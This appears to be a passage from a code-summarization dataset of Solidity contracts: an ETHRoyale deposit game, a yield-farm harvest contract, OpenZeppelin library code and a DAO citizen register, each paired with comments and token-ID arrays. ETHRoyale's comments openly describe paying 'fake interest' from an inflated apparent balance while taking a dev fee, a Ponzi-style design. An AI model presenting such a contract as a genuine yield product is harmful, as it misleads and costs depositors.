pragma solidity ^0.4.19; contract ETHRoyale { address devAccount = 0x50334D202f61F80384C065BE6537DD3d609FF9Ab; //Dev address to send dev fee (0.75%) to. uint masterBalance; //uint var for total real balance of contract uint masterApparentBalance; //var for total apparent balance of contract (real balance + all fake interest collected) //Array log of current participants address[] public participants; mapping (address => uint) participantsArrayLocation; uint participantsCount; //Boolean to check if deposits are enabled bool isDisabled; bool hasStarted; //Track deposit times uint blockHeightStart; bool isStart; event Deposit(uint _valu); //Mappings to link account values and dates of last interest claim with an Ethereum address mapping (address => uint) accountBalance; mapping (address => uint) realAccountBalance; mapping (address => uint) depositBlockheight; //Check individual account balance and return balance associated with that address function checkAccBalance() public view returns (uint) { address _owner = msg.sender; return (accountBalance[_owner]); } //Check actual balance of all wallets function checkGlobalBalance() public view returns (uint) { return masterBalance; } //Check game status function checkGameStatus() public view returns (bool) { return (isStart); } function checkDisabledStatus() public view returns (bool) { return (isDisabled); } //Check interest due function checkInterest() public view returns (uint) { address _owner = msg.sender; uint _interest; if (isStart) { if (blockHeightStart > depositBlockheight[_owner]) { _interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000)); } else { _interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000)); } return _interest; }else { return 0; } } //Check interest due + balance function checkWithdrawalAmount() public view returns (uint) { address _owner = msg.sender; uint _interest; if (isStart) { if (blockHeightStart > depositBlockheight[_owner]) { _interest = ((accountBalance[_owner] * (block.number - blockHeightStart) / 2000)); } else { _interest = ((accountBalance[_owner] * (block.number - depositBlockheight[_owner]) / 2000)); } return (accountBalance[_owner] + _interest); } else { return accountBalance[_owner]; } } //check number of participants function numberParticipants() public view returns (uint) { return participantsCount; } //Take deposit of funds function deposit() payable public { address _owner = msg.sender; uint _amt = msg.value; require (!isDisabled && _amt >= 10000000000000000 && isNotContract(_owner)); if (accountBalance[_owner] == 0) { //If account is a new player, add them to mappings and arrays participants.push(_owner); participantsArrayLocation[_owner] = participants.length - 1; depositBlockheight[_owner] = block.number; participantsCount++; if (participantsCount > 4) { //If game has 5 or more players, interest can start. isStart = true; blockHeightStart = block.number; hasStarted = true; } } else { isStart = false; blockHeightStart = 0; } Deposit(_amt); //add deposit to amounts accountBalance[_owner] += _amt; realAccountBalance[_owner] += _amt; masterBalance += _amt; masterApparentBalance += _amt; } //Retrieve interest earned since last interest collection function collectInterest(address _owner) internal { require (isStart); uint blockHeight; //Require 5 or more players for interest to be collected to make trolling difficult if (depositBlockheight[_owner] < blockHeightStart) { blockHeight = blockHeightStart; } else { blockHeight = depositBlockheight[_owner]; } //Add 0.05% interest for every block (approx 14.2 sec https://etherscan.io/chart/blocktime) since last interest collection/deposit uint _tempInterest = accountBalance[_owner] * (block.number - blockHeight) / 2000; accountBalance[_owner] += _tempInterest; masterApparentBalance += _tempInterest; //Set time since interest last collected depositBlockheight[_owner] = block.number; } //Allow withdrawal of funds and if funds left in contract are less than withdrawal requested and greater or = to account balance, contract balance will be cleared function withdraw(uint _amount) public { address _owner = msg.sender; uint _amt = _amount; uint _devFee; require (accountBalance[_owner] > 0 && _amt > 0 && isNotContract(_owner)); if (isStart) { //Collect interest due if game has started collectInterest(msg.sender); } require (_amt <= accountBalance[_owner]); if (accountBalance[_owner] == _amount || accountBalance[_owner] - _amount < 10000000000000000) { //Check if sender is withdrawing their entire balance or will leave less than 0.01ETH _amt = accountBalance[_owner]; if (_amt > masterBalance) { //If contract balance is lower than account balance, withdraw account balance. _amt = masterBalance; } _devFee = _amt / 133; //Take 0.75% dev fee _amt -= _devFee; masterApparentBalance -= _devFee; masterBalance -= _devFee; accountBalance[_owner] -= _devFee; masterBalance -= _amt; masterApparentBalance -= _amt; //Delete sender address from mappings and arrays if they are withdrawing their entire balance delete accountBalance[_owner]; delete depositBlockheight[_owner]; delete participants[participantsArrayLocation[_owner]]; delete participantsArrayLocation[_owner]; delete realAccountBalance[_owner]; participantsCount--; if (participantsCount < 5) { //If there are less than 5 people, stop the game. isStart = false; if (participantsCount < 3 && hasStarted) { //If there are less than 3 players and the game was started earlier, disable deposits until there are no players left isDisabled = true; } if (participantsCount == 0) { //Enable deposits if there are no players currently deposited isDisabled = false; hasStarted = false; } } } else if (accountBalance[_owner] > _amount){ //Check that account has enough balance to withdraw if (_amt > masterBalance) { _amt = masterBalance; } _devFee = _amt / 133; //Take 0.75% of withdrawal for dev fee and subtract withdrawal amount from all balances _amt -= _devFee; masterApparentBalance -= _devFee; masterBalance -= _devFee; accountBalance[_owner] -= _devFee; accountBalance[_owner] -= _amt; realAccountBalance[_owner] -= _amt; masterBalance -= _amt; masterApparentBalance -= _amt; } Deposit(_amt); devAccount.transfer(_devFee); _owner.transfer(_amt); } //Check if sender address is a contract for security purposes. function isNotContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return (!(size > 0)); } }
Check if sender is withdrawing their entire balance or will leave less than 0.01ETH
if (accountBalance[_owner] == _amount || accountBalance[_owner] - _amount < 10000000000000000) {
6,462,614
[ 1, 1564, 309, 5793, 353, 598, 9446, 310, 3675, 7278, 11013, 578, 903, 8851, 5242, 2353, 374, 18, 1611, 1584, 44, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 309, 261, 4631, 13937, 63, 67, 8443, 65, 422, 389, 8949, 747, 2236, 13937, 63, 67, 8443, 65, 300, 389, 8949, 411, 2130, 12648, 9449, 13, 288, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "./interfaces/IStaking.sol"; contract YieldFarmGenericToken { // lib using SafeMath for uint; using SafeMath for uint128; // constants uint public constant TOTAL_DISTRIBUTED_AMOUNT = 1_000_000; uint public constant NR_OF_EPOCHS = 20; uint128 public constant EPOCHS_DELAYED_FROM_STAKING_CONTRACT = 0; // state variables // addreses address private _poolTokenAddress; address private _communityVault; // contracts IERC20 private _entr; IStaking private _staking; uint[] private epochs = new uint[](NR_OF_EPOCHS + 1); uint private _totalAmountPerEpoch; uint128 public lastInitializedEpoch; mapping(address => uint128) private lastEpochIdHarvested; uint public epochDuration; // init from staking contract uint public epochStart; // init from staking contract // events event MassHarvest(address indexed user, uint256 epochsHarvested, uint256 totalValue); event Harvest(address indexed user, uint128 indexed epochId, uint256 amount); // constructor constructor(address poolTokenAddress, address entrTokenAddress, address stakeContract, address communityVault) public { _entr = IERC20(entrTokenAddress); _poolTokenAddress = poolTokenAddress; _staking = IStaking(stakeContract); _communityVault = communityVault; epochDuration = _staking.epochDuration(); epochStart = _staking.epoch1Start() + epochDuration.mul(EPOCHS_DELAYED_FROM_STAKING_CONTRACT); _totalAmountPerEpoch = TOTAL_DISTRIBUTED_AMOUNT.mul(10**18).div(NR_OF_EPOCHS); } // public methods // public method to harvest all the unharvested epochs until current epoch - 1 function massHarvest() external returns (uint){ uint totalDistributedValue; uint epochId = _getEpochId().sub(1); // fails in epoch 0 // force max number of epochs if (epochId > NR_OF_EPOCHS) { epochId = NR_OF_EPOCHS; } for (uint128 i = lastEpochIdHarvested[msg.sender] + 1; i <= epochId; i++) { // i = epochId // compute distributed Value and do one single transfer at the end totalDistributedValue += _harvest(i); } emit MassHarvest(msg.sender, epochId - lastEpochIdHarvested[msg.sender], totalDistributedValue); if (totalDistributedValue > 0) { _entr.transferFrom(_communityVault, msg.sender, totalDistributedValue); } return totalDistributedValue; } function harvest (uint128 epochId) external returns (uint){ // checks for requested epoch require (_getEpochId() > epochId, "This epoch is in the future"); require(epochId <= NR_OF_EPOCHS, "Maximum number of epochs is 12"); require (lastEpochIdHarvested[msg.sender].add(1) == epochId, "Harvest in order"); uint userReward = _harvest(epochId); if (userReward > 0) { _entr.transferFrom(_communityVault, msg.sender, userReward); } emit Harvest(msg.sender, epochId, userReward); return userReward; } // views // calls to the staking smart contract to retrieve the epoch total pool size function getPoolSize(uint128 epochId) external view returns (uint) { return _getPoolSize(epochId); } function getCurrentEpoch() external view returns (uint) { return _getEpochId(); } // calls to the staking smart contract to retrieve user balance for an epoch function getEpochStake(address userAddress, uint128 epochId) external view returns (uint) { return _getUserBalancePerEpoch(userAddress, epochId); } function userLastEpochIdHarvested() external view returns (uint){ return lastEpochIdHarvested[msg.sender]; } // internal methods function _initEpoch(uint128 epochId) internal { require(lastInitializedEpoch.add(1) == epochId, "Epoch can be init only in order"); lastInitializedEpoch = epochId; // call the staking smart contract to init the epoch epochs[epochId] = _getPoolSize(epochId); } function _harvest (uint128 epochId) internal returns (uint) { // try to initialize an epoch. if it can't it fails if (lastInitializedEpoch < epochId) { _initEpoch(epochId); } // Set user state for last harvested lastEpochIdHarvested[msg.sender] = epochId; // compute and return user total reward. For optimization reasons the transfer have been moved to an upper layer (i.e. massHarvest needs to do a single transfer) // exit if there is no stake on the epoch if (epochs[epochId] == 0) { return 0; } return _totalAmountPerEpoch .mul(_getUserBalancePerEpoch(msg.sender, epochId)) .div(epochs[epochId]); } // retrieve _poolTokenAddress token balance function _getPoolSize(uint128 epochId) internal view returns (uint) { return _staking.getEpochPoolSize(_poolTokenAddress, _stakingEpochId(epochId)); } // retrieve _poolTokenAddress token balance per user per epoch function _getUserBalancePerEpoch(address userAddress, uint128 epochId) internal view returns (uint){ return _staking.getEpochUserBalance(userAddress, _poolTokenAddress, _stakingEpochId(epochId)); } // compute epoch id from block.timestamp and epochStart date function _getEpochId() internal view returns (uint128 epochId) { if (block.timestamp < epochStart) { return 0; } epochId = uint128(block.timestamp.sub(epochStart).div(epochDuration).add(1)); } // get the staking epoch function _stakingEpochId(uint128 epochId) pure internal returns (uint128) { return epochId + EPOCHS_DELAYED_FROM_STAKING_CONTRACT; } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.6.0; import "@openzeppelin/contracts/access/Ownable.sol"; interface IStaking { function getEpochId(uint timestamp) external view returns (uint); // get epoch id function getEpochUserBalance(address user, address token, uint128 epoch) external view returns(uint); function getEpochPoolSize(address token, uint128 epoch) external view returns (uint); function epoch1Start() external view returns (uint); function epochDuration() external view returns (uint); } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
public methods public method to harvest all the unharvested epochs until current epoch - 1 force max number of epochs i = epochId compute distributed Value and do one single transfer at the end
function massHarvest() external returns (uint){ uint totalDistributedValue; if (epochId > NR_OF_EPOCHS) { epochId = NR_OF_EPOCHS; } for (uint128 i = lastEpochIdHarvested[msg.sender] + 1; i <= epochId; i++) { totalDistributedValue += _harvest(i); } emit MassHarvest(msg.sender, epochId - lastEpochIdHarvested[msg.sender], totalDistributedValue); if (totalDistributedValue > 0) { _entr.transferFrom(_communityVault, msg.sender, totalDistributedValue); } return totalDistributedValue; }
26,427
[ 1, 482, 2590, 1071, 707, 358, 17895, 26923, 777, 326, 640, 30250, 90, 3149, 25480, 3180, 783, 7632, 300, 404, 2944, 943, 1300, 434, 25480, 277, 273, 7632, 548, 3671, 16859, 1445, 471, 741, 1245, 2202, 7412, 622, 326, 679, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8039, 44, 297, 26923, 1435, 3903, 1135, 261, 11890, 15329, 203, 3639, 2254, 2078, 1669, 11050, 620, 31, 203, 3639, 309, 261, 12015, 548, 405, 423, 54, 67, 3932, 67, 41, 30375, 55, 13, 288, 203, 5411, 7632, 548, 273, 423, 54, 67, 3932, 67, 41, 30375, 55, 31, 203, 3639, 289, 203, 203, 3639, 364, 261, 11890, 10392, 277, 273, 1142, 14638, 548, 44, 297, 90, 3149, 63, 3576, 18, 15330, 65, 397, 404, 31, 277, 1648, 7632, 548, 31, 277, 27245, 288, 203, 5411, 2078, 1669, 11050, 620, 1011, 389, 30250, 26923, 12, 77, 1769, 203, 3639, 289, 203, 203, 3639, 3626, 490, 428, 44, 297, 26923, 12, 3576, 18, 15330, 16, 7632, 548, 300, 1142, 14638, 548, 44, 297, 90, 3149, 63, 3576, 18, 15330, 6487, 2078, 1669, 11050, 620, 1769, 203, 203, 3639, 309, 261, 4963, 1669, 11050, 620, 405, 374, 13, 288, 203, 5411, 389, 8230, 18, 13866, 1265, 24899, 20859, 12003, 16, 1234, 18, 15330, 16, 2078, 1669, 11050, 620, 1769, 203, 3639, 289, 203, 203, 3639, 327, 2078, 1669, 11050, 620, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; //import "Register.sol"; import "contracts/Register.sol"; /** * @notice This contract inherit from abstract contract "Register". It register the whitelist of accounts allowed to take art in democratic activities of the DAO. This list of citizens is edited by two authorities: * - Citizens_Registering_Authorities: List of address allowed to add citizens. We can have severals address but usually one single Delegation contract address is enough. * - Citizens_Banning_Authorities: List of address allowed to remove citizens. We can have severals address but usually one single Delegation contract address is enough. * * The contract should be given authority to mint token on DemoCoin token */ contract Citizens_Register is Register{ using EnumerableSet for EnumerableSet.AddressSet; struct Citizen{ bool Active; uint Registration_Timestamps; uint End_Ban_Timestamp; bytes Data; } event New_Citizen(address citizen_address); event Citizen_Data_Set(address citizen_address); event Citizen_Banned(address citizen_address); event Citizen_Permanently_Banned(address citizen_address); event Citizen_Ban_Over(address citizen_address); event new_citizen_mint_amount_Set(uint new_citizen_mint_amount); event Registering_Authority_Added(address authority); event Banning_Authority_Added(address authority); event Registering_Authority_Removed(address authority); event Banning_Authority_Removed(address authority); ///@dev function selector of {Contains} function. It's the selector other contracts have to use if they want to check if an address is citizen of the DAO bytes4 constant public Contains_Function_Selector = 0x57f98d32; ///@dev Mapping of all citizens of the DAO mapping(address=>Citizen) public Citizens; ///@dev list of all citizens of the DAO EnumerableSet.AddressSet Citizens_List; ///@dev List of accounts that have been Permanently banned and can not be added anymore (blacklist) address[] Permanently_Banned_Citizens; DemoCoin Democoin; EnumerableSet.AddressSet Citizens_Registering_Authorities; EnumerableSet.AddressSet Citizens_Banning_Authorities; ///@dev Amount of token to transfer to a new registered citizen. uint public New_Citizen_Mint_Amount; //Each new citizen get "New_Citizen_Mint_Amount" token that are mint. /** * @param Name name of the Institution * @param Initial_Citizens List of initial citizens * @param token_address Address of DemoCoin token that will be used to transfert initial token amount to new registered citizens * @param new_citizen_mint_amount Amount of token to mint for new registered accounts */ constructor(string memory Name, address[] memory Initial_Citizens, address token_address, uint new_citizen_mint_amount) Register(Name){ Type_Institution = Institution_Type.CITIZENS_REGISTRATION; Constitution_Address = msg.sender; Democoin = DemoCoin(token_address); uint citizens_number = Initial_Citizens.length; for(uint i =0; i<citizens_number; i++){ Citizens[Initial_Citizens[i]].Active = true; Citizens[Initial_Citizens[i]].Registration_Timestamps = block.timestamp; Citizens_List.add(Initial_Citizens[i]); } New_Citizen_Mint_Amount = new_citizen_mint_amount; } /*REGISTER FUNCTIONS*/ /** * @dev Add a new citizen to the whitelist of account allowed to take part in democratic activities of the DAO. Only accounts contained in {Citizens_Registering_Authorities} can call this function. * @param new_citizen Account to be registered as citizen. * */ function Register_Citizen(address new_citizen) external{ require(Citizens_Registering_Authorities.contains(msg.sender), "Registering Authority Only"); require(Citizens[new_citizen].Registration_Timestamps ==0, "Already Registered/Ban Citizen"); Citizens[new_citizen].Active = true; Citizens[new_citizen].Registration_Timestamps = block.timestamp; Citizens_List.add(new_citizen); Democoin.Mint(new_citizen, New_Citizen_Mint_Amount); emit New_Citizen(new_citizen); } /** * @dev Modify the Data field of a Citizen. Only callable by Registering authorities * @param citizen Citizen account to be modified * @param data New Data field * */ function Set_Citizen_Data(address citizen, bytes calldata data)external{ require(Citizens_Registering_Authorities.contains(msg.sender), "Registering Authority Only"); require(Citizens_List.contains(citizen), "Not Registered Citizen"); Citizens[citizen].Data = data; Citizen_Data_Set(citizen); } /** * @dev Ban a citizen for a limited or unlimited amount of time. Only callable by Banning Auhorities * @param citizen Citizen account to be banned * @param duration Duration of the bannishment. If it's null, the citizen is banned for an unlimited amount of time. * */ function Ban_Citizen(address citizen, uint duration)external{ require(Citizens_Banning_Authorities.contains(msg.sender), "Banning Authority Only"); require(Citizens_List.contains(citizen), "Not Registered Citizen"); Citizens[citizen].Active=false; if(duration>0){ Citizens[citizen].End_Ban_Timestamp = duration+block.timestamp; } emit Citizen_Banned(citizen); } /** * @dev Ban a citizen forever. The citizen is blacklisted. * @param citizen Citizen account to be blacklisted * */ function Permanently_Ban_Citizen(address citizen)external{ require(Citizens_Banning_Authorities.contains(msg.sender), "Banning Authority Only"); require(Citizens_List.contains(citizen), "Not Registered Citizen"); Citizens[citizen].Active=false; Citizens[citizen].End_Ban_Timestamp=0; Citizens_List.remove(citizen); Permanently_Banned_Citizens.push(citizen); emit Citizen_Permanently_Banned(citizen); } /** * @dev Grant pardon to a banned citizen. If the citizen has been banned for an unlimited amount of time, this function is the only way to let him come back. This function is only callable by Banning Authorities. * @param citizen Citizen account to be granted pardon * */ function Grace_Citizen(address citizen)external{ require(Citizens_Banning_Authorities.contains(msg.sender), "Banning Authority Only"); require(Citizens_List.contains(citizen), "Not Registered Citizen"); Citizens[citizen].Active=true; Citizens[citizen].End_Ban_Timestamp=0; emit Citizen_Ban_Over(citizen); } /** * @dev Function callable by a banned citizen to end his bannishment when the sentence is finished (if his sentence is limited in time) * */ function Citizen_Finish_Ban()external{ uint end_ban_timestamp = Citizens[msg.sender].End_Ban_Timestamp; require(end_ban_timestamp>0 && end_ban_timestamp <= block.timestamp, "Ban not over (or not banned)"); Citizens[msg.sender].Active = true; Citizens[msg.sender].End_Ban_Timestamp=0; emit Citizen_Ban_Over(msg.sender); } /*CONSTITUTION ONLY FUNCTIONS*/ /** * @dev Setter for {New_Citizen_Mint_Amount} state variable * @param amount New value of New_Citizen_Mint_Amount * */ function Set_Citizen_Mint_Amount(uint amount)external Constitution_Only{ New_Citizen_Mint_Amount = amount; emit new_citizen_mint_amount_Set(amount); } /** * @dev Add a Registering Authority address. * @param new_authority New register authority address. * */ function Add_Registering_Authority(address new_authority)external 